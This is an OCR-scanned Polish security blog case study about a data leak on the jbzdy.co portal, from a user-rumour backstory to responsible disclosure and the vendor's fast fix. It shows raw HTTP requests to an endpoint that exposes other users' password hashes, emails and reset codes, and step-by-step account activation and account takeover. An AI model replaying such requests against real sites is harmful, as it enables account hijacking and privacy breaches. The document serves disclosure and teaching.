@@© Od miejskiej legendy do wycieku danych - case study na przyktadzie
NO SYSTEM IS SAFE portalu JBZDYpl

Bledy na stronie czy w implementacjach zdarzaja sie kazdemu. Ostatnio przyjrzeliSmy sie
Dotpay’owi, a dzis padlo na stronie jbzdy.co czyli stynne juz JebZDzidy nalezace do firmy
Cube Investments Sp. z o.0.

Zapewne styszeliscie, ze w Polsce padta juz pierwsza milionowa kara za RODO. Dzis
przedstawimy drugich w kolejnosci kandydatow do tego zaszczytnego wyréznienia jakim jest
»Milion za RODO”.

Nie kazdy zna pojecie ,urban legend”, ale na pewno kazdy spotkat sie z tym zjawiskiem.
Urban legend, a dokladnie miejska legenda nazywamy krazace wsrod znajomych,

ale i po internecie nieweryfikowalne lub fatszywe historie oraz najczesciej o zabarwieniu
emocjonalnym.

,Legenda miejska - pozornie prawdopodobna informacja rozpowszechniana w mediach,
internecie lub w kregach towarzyskich, ktéra budzi wielkie emocje u odbiorcéw. Legenda
miejska elektryzuje stuchaczy i prowokuje ich do komentarzy i dalszego jej przekazywania,
dotyczy bowiem sytuacji mogacych sie przytrafi¢ kazdemu lub znanych os6b. Era Internetu
i szybkiej wymiany informacji znacznie przyspieszyta obieg tego rodzaju plotek, obecnych
od dawna w grupach spotecznych. Legendy miejskie czesto sa przeksztalceniem
wczesniejszych opowiesci ludowych - na przyktad opowies¢ o czarnych wotgach (ktérymi
rzekomo porywano ludzi, zwlaszcza dzieci, w epoce PRL), czy o pedofilach (lub
narkomanach) zabierajacych mate dzieci z centréw handlowych.”

Kazda spotecznos¢ ma taka miejska legende, paste lub inny charakterystyczny element.
Przyktadowo dla spotecznosci wykop.pl stowami kluczami sa:

- astronauta

- afera zbozowa

- nocna zmiana w serwerowni
Dla 4chana

- 1 lost my iPad”

- ,over 9000 thousand”

- ,]1 Herd U Liek Mudkips”
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Powyzsze sformutowania byly hastami rozpoznawczymi dla pierwszych cztonkow
spotecznosci Anonymous. Obecnie weszly one do powszechnego uzycia. Czasem zdarza sie,
ze czlonkowie spotecznosci internetowych w okreslonych celach uzywaja tych sformutowan
niestety coraz czesciej sa one tylko synonimami popularnych okreslen.

Dla spotecznosci wczesniej wspomnianego portalu JebZDzidy.pl stowami kluczami sa:

- ,wojna stulejna”

- AdamW

- #witam

Dzis$ to wtasnie miedzy innymi watkiem uzytkownika o pseudonimie AdamW sie zajmiemy.
Cata historia zaczeta sie od jednego tzawego obrazka w stylu ,Prawdopodobnie nawet

nie wiesz, ze przegapites mitosé zycia”. Jeden z uzytkownikéw portalu zamiescit komentarz
o tresci:

AdamwW + 490 =

Wiasnie myslatem o samobdju i zes mi ku*wa tym przebit wiécznig serce. ch*j
Ci w dupe, ku*asiarzu. Elo, dozoba po drugiej stronie

Pierwsza reakcja uzytkownikow byly niewybredne zarty czy zyczenia powodzenia. Mineto
kilka godzin i posrod zartow pojawit sie pierwszy post méwiacy, ze moze AdamW mowit
serio. Niestety autor komentarza juz nigdy sie nie zalogowat. Pod komentarzem sa obecnie
dziesiatki komentarzy, juz nie tylko ztosliwych i wysmiewajacych, ale wyrazajacych obawy
o0 Adama, czy po prostu swieczki.

Tutaj konczy sie bezposrednia historia uzytkownika, a zaczyna sie miejska legenda portalu
JebZDzidy.pl. Wielu uzytkownikéw od ponad dwoch lat dyskutuje na temat tego czy AdamW
naprawde targnal sie na swoje zycie czy tez jest to jeden z najlepszych trollingéw ostatnich
lat.

Jakis czas temu na mikroblogu (jeden z elementow sktadowych portalu JBZDy.pl) pojawit sie
screen pokazujacy dane przekazywane do uzytkownika w JSONIE. Screen miat dowodzic¢
tego, ze user AdamW logowat sie znacznie p6zniej na swoje konto.
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Przyznam szczerze, ze mocno mnie zastanawiato, jakim cudem (i przede wszystkim po co)
takie dane sa dostepne dla zwyktego usera. Pierwsza mysla byto to, Zze moze admin wrzucit
screen by jednorazowo i bezspornie rozwigza¢ kwestie zwigzane z losami uzytkownika.
Ponad to, lepiej wizerunkowo by byto, gdyby uzytkownicy portalu jednak sie nie zabijali.
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Po dtuzszym przypatrywaniu sie screenowi zrozumiatem, ze osoba wrzucajaca screen
nie tylko nie umie korzysta¢ z narzedzi WebDev w Firefoxie, ale réwniez nie do konca
rozumie czym jest JSON. Poprositem o informacje, w ktérym miejscu znajduje sie ten
request i nie mogtem uwierzy¢ swoim oczom, gdy zobaczytem to czego nie wida¢ w FF.

Blad, a moze feature ,umieszczony jest w” guziku stuzacym do dodawania innego
uzytkownika na czarna liste. Z jakiegos powodu guzik ten, nie tylko dodaje w bazie danego
uzytkownika do naszej czarnej listy, ale réwniez zwraca w formacie JSON dane zapisane

w panelu uzytkownika oraz moze sie wydawac¢ wszystko co zawiera tabela ,users” w bazie.
Parametrem odpowiedzialnym za otrzymany wynik widoczny na screenie jest ,getUser”.
W wywotanym parametrze otrzymujemy miedzy innymi takie dane jak:

» Ple¢

e Date urodzenia

e Imie

» Nazwisko

 Nick

o Id

e Czy user jest zbanowany
» Czy jest aktywny

I wiele innych kwestii, ktére moze wprowadzi¢ uzytkownik.

Gdy zaczatem przygladac sie dogtebniej komunikacji JSON’owej zauwazytem,

ze nie tylko nie jest to jedyny request, ktory sie pojawia, ale rowniez jest to jeden z kilku
requestow, ktory podaje nam dane uzytkownika. Zapytanie z parametrem , getUser” pojawia
sie po najechaniu myszka, natomiast po kliknieciu go, otrzymujemy wynik zapytania

o parametrze ,userSwitch”. Za pomoca dodatku do przegladarki nagratem ten fragment
komunikacji sieciowej i potem modyfikujac zawartos¢ zapytan pobralem dane z serwera.
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POST ~ | hitps://jbzdy.co/users/userSwitch

fost: jbzdy.co

User-Agent: Mozilla/5.0 (Windows NI 10.0; Winé4; x64; ry:67.0) Geckp/20100101 Firefox/67.0
SSRE' RRRLISASIOD/1SRR. ESXT/lavascripe. */*: g=0.01

je: pl,en-US;g=0.7,en;g=0.3

: gzip, deflate, br

ient-Type: spplicarion/xowwy-formcurlenceded: shazsse=UTF-e
Rsgusgrss-With: RMLHRcpReguesk

Conzent-lengch: 29
Connsction: keep-alive

jCookie: esuconsent=BOitmk30itmkIASABAPLCY-ARAROVTY T_9_- Suz70v_v_£_ 33e87 _Sv_1 7 - u_-3zddu lvEsSyfml-Tetr3cp 87uesm Xur 55 3z3 SphPriks
DNT: 1
<

luser=338201&field=placklisced

Po jego wykonaniu zapytania moim oczom ukazaly sie ponizsze dane.



@@@ Od miejskiej legendy do wycieku danych - case study na przyktadzie
NO SYSTEM IS SAFE portalu JBZDYpl

{B

"status"-"ok",

"user_user":{ @
"id"-"916259",
"user_id":"573719",
"user_user_id":"338201",
"blacklisted"-"1",
"followed":"0",
"created_at"-"2019-06-28 07-52:57",
"updated_at"-"2019-06-28 O7:52:57"

1.

"user":{ @
"id"-"338201",
"ip_address": (i EE_—— .
"username" - "Adamd”
"first_name"-null,
"last_name"-null,
"avatar”:null,
"gender”:"male”,
"eity"-null,
"country”:null,
"birthday"-null,
"birthday_valid_to"-null,
"sgore™:"345",
"rank":"2",
"password” " (R
"fb_id"-"8",
"fb_token" -null,
"fb_link" -null,
"salt”: "
"registred”:null,
"enail” - Y .
"onesignal_id"-null,
"activation_code”:null,
"forgotten_password_code”-"",
"forgotten_password_time"-"0",
"remember_code” : “ .
"auth_token":null,
"remember_token" -null,
"created_on"-"1491075597",
"last_login"-"1494350116",
"active"-"1",
"banned”-"0",
"ancient™:"@",
"accepted”:"1",
"api_tester"-"0",
"token":null,
"created_at"-"2017-04-81 21-:56:37",
"updated_at"-"2018-108-24 09:54-02"
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Aby uzmystowi¢ jak bardzo ,zle” jest to, ze powyzsze dane sa dostepne dla kazdego
zalogowanego w serwisie uzytkownika, krétko oméwie poszczegélne czesci.

Pierwszym blokiem danych jest blok ,user user”. Jak wynika z jego tresci zawiera

on informacje, o tym jaki jest id danego zapytania (parametr ID) - dzieki temu mozemy
oszacowac ilos¢ akcji tego typu wykonanych przez uzytkownikdéw, a wiec ocenic realna
aktywnosc¢ uzytkownikéw w serwisie. Kolejnymi dwoma interesujacymi parametrami

sa ,user id” oraz ,user user id” sa to parametry informujace odpowiednio, ktéry user
(user id) wykonuje akcje wobec ktérego usera (user user id). Trywialno$¢ nazewnictwa
moze sugerowac, iz programista tworzyt swojego rodzaju prowizorke. Kolejnymi
parametrami jest ,blacklisted” oraz ,followed”, ktére zapewne informujg o tym

czy dodalismy uzytkownika na czarna liste czy do obserwowanych. Ostatnimi parametrami
w tym bloku danych to parametry ,created at” oraz ,updated at”. Parametry te informuja,
kiedy zostato stworzone zapytanie oraz kiedy jego wynik zostat ostatni raz zmodyfikowany.
Prawdopodobnie rozbicie tego na dwa elementy ma na celu wytapywanie opdznien miedzy
wystaniem zapytania a zwroceniem jego wyniku. Dokladno$é wynosi 1s.

O ile dane z powyzszego bloku, nie sa w zaden sposéb wrazliwe, to dane z bloku nazwanego
»user” sa juz ewidentng nominacja do nagrody ,Milion za RODO”, ale po kolei...

Blok danych ,user” zbudowany jest z ponizej zaprezentowanych danych.
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Parametr Opis

id D uzytkownika, ktﬁregn dane sg wyswietlane.
ip_address Pudres |P DstatniE&loguwania.

username Mick Iktc'rgrn uiytlkownik identyfikuje sie w serwisie.
first name mie podane w panelu.

last name Mazwisko podane w panelu.

avatar Mazwa pliku z awatarem.

ﬁender Ptec podana w panelu.

ELE Pdiasto podane w panelu.

country firaj podany w panelu.

birthday [Jata urcdzenia podana w panelu.

birthday wvalid_to

[lata ,wainoici” daty urodzenia - prawdopodobnie po tym czasie
Lizytkownik zostanie ponownie zapytany o date urodzenia.

5COre i

rank Prawdopodobnie poziom uprawnien uzytkownika.
password Hash hasta w md5.

b id D uzytkownika FB — uzupeiniany podczas Iquwania wvia fh.
Ltlmtnken Token uzytkownika FB.

b link 7

salt 501" hasta uzywana ho hashowania.

Eﬁistred i

ermail Pdres email uzytkownika.

onesignal_id i

activation_code

Fod aktywacyiny — wiece] informacji w dalszej czesci artykufu,

furEDtten password_code

f.od do resetu hasta — wiece] informacji w dalsze] czesci artykuiu,

furEDtten password_time

Czas wywolania resetu hasfa.

remember_code
SRS

?

auth token

Token autoryzacyjny?

remember token

?

created on Data stworzenia konta.

last IGEin [Data ostatnie] aktualizacji profilu,

active Cry uiytkownik jest aktywny?

banned Czy uiytkownik jest zbanowany?

ancient i

accepted i

api_tester 7

token i

created at [Data stworzenia profilu w formacie zrozumiatym dla cziowieka.
updated_at [Data ostatnie] aktualizacji profilu w formacie zrozumiafym dla cztowieka.

portalu JBZDY.pl

Teraz, gdy znamy juz zastosowanie wiekszosci wartosci zwracanych sprobujmy zaplanowac
oraz przeprowadzi¢ dwa ,ataki” na spdjnos¢ danych w bazie.

Pierwszym atakiem jest zalozenie konta bez posiadania istniejacego maila. Pozwoli nam na
to parametr ,activation code”. Zatozytem mail na Onecie nieistniejgcy.sms@onet.pl
i zarejestrowatem na niego konto po to by zobaczy¢, jak wyglada link aktywacyjny.



mailto:nieistniejący.sms@onet.pl
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Gdy otrzymatem mail sprawdzitem, jak wyglada link aktywacyjny.
Zgodnie z przewidywaniami byto to wedtug okreslonego wzoru:

Domena.pl/id usera/kod aktywacyjny

NI =

Jbzdy.co - Aktywacja Konta

Aktywacja dla konta nieistniejacy sms@onet.pl

/

Aby poprawnie przeprowadzi¢ atak, potrzebujemy znac¢ jaki ID zostatl nadany naszemu
uzytkownikowi. Zaraz po utworzeniu profil nowego usera jest dostepny do wgladu. W tym
przypadku jest to https://jbzdy.co/uzytkownik/nieistniejacy. Wystarczy podejrze¢ requesty,
aby odkry¢ jaki jest wtasciwy numer ID. ID uzytkownika mozemy znalez¢ w requescie
odpowiadajacym za dodawanie plusow.

Pronay ke w iem link w ey siiywacil honta Skiyws] ywoi i
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Metoda:  Adres URL
POST https://jbzdy.cofusersfvote

Magtowki Zadania:

Accept-Encoding: gzip, deflate, br

Referer: hitps://jbzdy.co/unytkownik/nieistniejacy

Content-Type: application/-www-form-urlencoded; charset=UTF-3
¥-Requested-With: XMLHttpRequest

Content-Length: &

Connection: keep-alive

Cookie: euconsent=B0itmkIOitmkOASABAPLCY-AA080 Ty _ 7 9 - O
TE: Trailers

< >

Tresc Zadania:

id=625822

Kiedy mamy juz ID uzytkownika, za pomoca requestu z parametrem ,userSwitch”
znajdujemy kod aktywacyjny.

Metoda:  Adres URL
POST https://jbzdy.co/users/userSwitch

Magtowki Zadania:

Host: jbzdy.co

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd: x62: nne7.0) Gecko/20°
Acceph: application/json, text/javascript, =/ q=0.01

Accept-Language: pl.en-Usq=0.7,en;q=0.3

Accept-Encoding: gzip, deflate, br

Referer: https://jbzdy.co/g

Content-Type: application/x-www-form-urlencoded; charset=UTF-2
¥-Requested-With: XMLHttpRequest

< >

Tre<c Zadania:

user= 625322]-51fie|d=b|acklisted

Po wykonaniu zapytania naszym oczom ukazuje sie...
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email: nieistniejacy.sms@onet.pl
onesignal_id: null
@ activation_code: de8lgbal3dcdbc38bfl5afassfod2dd1 2263172 @
forgotten_password_code
forgotten_passward_time: O
remember_code: niull
auth_tokern: null
remember_token: null
created_on: 1562066303
last_login: 1562066303

active: 0

Jak wida¢, mozemy aktywowac konto spisujac dane. Co nam to daje? Nie tylko mozemy
aktywowacé sobie konto bez podawanie swojego prawdziwego adresu email - jest to w
pewien sposob anonimizacja uzytkownika, ale takze mozemy zatozy¢ konto na kogos,
przyktadowo ,,andrzej.duda@prezydent.pl” i postowaé cenzodudy. Niestety, sa tez inne
wykorzystania tej luki. Mozna stworzy¢ konto sugerujace, iz jego wlascicielem jest ktos inny
i postowac tresci, ktédre moga kogos obciazac.

Drugi atak jaki mozemy przeprowadzi¢ wykorzystujac dane, ktére serwuje nam strona to
przejecie konta dowolnego uzytkownika, ktérego ID jestesmy w stanie odczytac z
komunikacji z strona.

Pomoze nam w tym przesylany parametr ,forgotten password code”. Dla przyktadu znow
postuzy nam uzytkownik ,nieistniejacy”.

Aby przejac¢ kontrole nad kontem najpierw musimy znac¢ jego id. Te informacje pozyskaliSmy
poprzednio oraz jego adres email, ktory rowniez odczytaliSmy za pomoca parametru
LsuserSwitch”. Gdy znamy juz email uzytkownika przechodzimy do formularza przypomnienia
hasta.
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Zaloguj sie Zatoz konto

Zaloguj n

Zgubites hasto?

Zgubione hasto

Syt nicistniejacy.sms@onet.pl

Wyl mi nowe hasto

Po podaniu hasta klikamy ,, wyslij mi nowe hasto”. I po chwili ukazuje sie komunikat o tym,
iz nowe hasto zostato wystane.

" Mikroblog Najnowsze Video Oczekujgce Losowe Top Kategorie >

Link do zrestartowania hasta zostat wystany

Aby wykorzystac¢ zdobyte do tej pory dane musimy ustalic¢ jaki link jest do zmiany hasta.
Tutaj réwniez nie byto wiekszego zaskoczenia.
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< @ i PRZENES~
¥ Odilriis Jbzdy.co - Weryfikacja Zapomnianengo Hasta
= Jbzdy.co @ Pokazhistorie Doz
Spotecznosci
<) Oferty
Powiadomienia Zrestartuj swoje hasto dla konta

nieistniejacy.sms@onet.pl

& Zaycld ~ Proszg klikng¢ ten link aby zrestartowac hasto Restartuj hasio.

T Kosz
Jbzdy.co
<J Wystane

.hllps :/fibzdy.co/zmiana-hasla/823bcebcb433325f5dbceaal0bifeB8d5c8e0210

Format linku jest réwniez dosS¢ prosty:
Domena.pl/zmiana-hasla/kod

Aby uzyska¢ kod ponownie wykonujemy zapytanie:

Metoda: Adres LRI

POSET https:fjbzdy.co/users/userswitch
Maghiwii Zadania:

Hast: jbzdy.co

User-Agent: Mozilla/5.0 (Windows NT 10.0 'Wingd; xbd; 67 0] Gecka,/20°
Accept applicationgson, bextjavascript, *™ q=0.01

Accept-language: plen-USg=0.7,eng=0.3

Accept-Encoding: gzip, deflate, br

Referer: hitpsc/jbzdy.cofg

Content-Type: applications-waw-form-urlencoded; charset=UTF-3
{-Requested-With: MMLHHpRequest

€ ¥

Tredf Zgdania

user=525824itield=blacklisted

Po wystaniu zapytania otrzymujemy dane potrzebne do resetu hasta:

Od miejskiej legendy do wycieku danych - case study na przyktadzie

portalu JBZDY.pl

2 0O >
2019-07-02 16:22:57
tl naghdwkl wiadomose

w Rorwif szeregély
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birthday_valid_to: null
score: 1
rank: 1
password: f2docle315844583beeb7febcaddf92c34bee7db
fbo_id: O
fbo_token: null
fo_link: null
salt: 7585060325
registred: null
email: nieistniejacy.sms@onet.pl
onesignal_id: null
activation_code: ded16bal38cdbc38bf05afa3sfod2dd1c2263178
@ forgotten_password_code: 823bcebeb433325f5dbeeaal0b1fel3d5c020210 &
forgotten_password_time: 1562077375
remember_code: null
auth_token: null
remember_token: null
created_on: 15620686203
last_login: 1562066803
active: O
banned: 0
ancient: 0
accepted: 0
api_tester: 0
token: null
created_at: 2019-07-02 13:26:43
updated_at: 2019-07-02 13:26:43

Z powyzszych danych przygotowujemy link do resetu.

https://jbzdy.co/zmiana-hasla/823bcebcbh433325f5dbceaal 0b1fe88d5¢9e0210

Po wejsciu w ten link docieramy do formularza ustawienia nowego hasta.
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Restart hasla

Powtorz nowe hasto: ffsssssssss

Zmien hasto

Podajemy nowe hasto i klikamy zmien hasto.

s B .
\ﬁ‘ ' IBII_! ole Lubie to! 693 tys. @. Mikroblog Najnowsze Video Oczekujgce Losowe Top  Kategorie v a

Hasto zostato zmienione, mozesz juz sie zalogowac.

W ten sposob w kilku prostych krokach pokazatem, jak mozna przeja¢ dowolne konto w
portalu jbzdy.pl.

Jak wida¢ z portalu mozna nie tylko wydoby¢ dane wrazliwe podlegajace pod ochrone
ustawy o ochronie danych osobowych, nie méwigc juz o tym, ze pozwalaja one miedzy
innymi na przejecie konta uzytkownika, a przypuszczalnie i administratoréw strony.

Co na to Cube Investments Sp. Z o. o., ktore jest wlascicielem portalu?

Cube nie tylko stanat na wysokosci zadania, ale réwniez bardzo pozytywnie nas zaskoczyt.
Kontakt z wlascicielem JBZD nawiazatem dzien po skonczeniu artykutu. Okoto godziny 13
dostatem potwierdzenie, ze moja wiadomos¢ zostata przeczytana. Zaledwie dwadziescia
minut pézniej zauwazylem pierwsze poprawki na stronie. Tego samego dnia wieczorem
otrzymatem maila od przedstawiciela JBZDY.

Panie Piotrze,

Dziekujemy za sympatie do Jebzdzidy, doceniamy gteboka wiedze o spotecznosci,
ktora kwitnie na naszym serwisie.

Staramy sie utrzymywac nasz serwis w jak najlepszej kondycji a bezpieczenstwo

jest dla nas priorytetem. Dlatego czujemy sie szczegolnie Zle po przedstawionych
przez Pana niedoskonatosciach. Tym bardziej, ze ma Pan 100% racje w kazdym

z aspektow. Programisci dzialaja juz petna para.

Bez wzgledu na Panska wiadomosc¢ jesteSmy w przed dzien wdrozenia nowej,
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ulepszonej wersji serwisu, w ktorej poruszanych przez Pana zagadnien nie ma.
PrzejrzeliSmy Wasza firmowa strone i chetnie zapoznamy sie z Wasza oferte

na dogtebne sprawdzenie nowej wersji jebzdzidy, albo raczej jbzdy.co. Tu siegne
do tematu zmienianych przez nas domen. Nie ma w tym zagadnieniu tajemnic:
dostajemy tzw. bana od google i aby utrzymac serwis musimy przekierowac

go na inng domene.

f A CO JESLI !}I POWIEM

W

ZE JBZDY tATA Iil:ﬁllY W
GIAGU 20 MINUT OD ICH ZGLOSZENIA?

imgflip.com

Co z tego wynika? Otoz jasno wida¢, ze Cube wzieto sobie do serca wskazane przeze mnie
btedy oraz bardzo profesjonalnie i sprawnie na nie zareagowato poprawiajac je od reki. Jak
wynika z dalszej komunikacji, nie tylko majac w planach nowa wersje strony nie olali
sprawy, ale i poprawili obecna. W poréownaniu z innymi instytucjami, ktorym zgtaszatem
btedy, ustanowili absolutny rekord w czasie reakcji na zgtoszone zdarzenie. Oby wiecej firm
z takim podejsciem.

Dzis rano spotkata mnie kolejna niespodzianka. Do moich drzwi zawitat kurier z paczka,
a w niej...


http://jbzdy.co
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Serdecznie dziekujemy za napoje! Na pewno sie przydadza. Gratulujemy tez btyskawicznej
i Swietnej reakcji na zgtoszenie!

PS. Kazda podatnos¢ zgtaszana przez PHT/S.M.S. jest publikowana po naprawieniu/7 dniach
bez odpowiedzi/kontaktu z strony zainteresowanych.



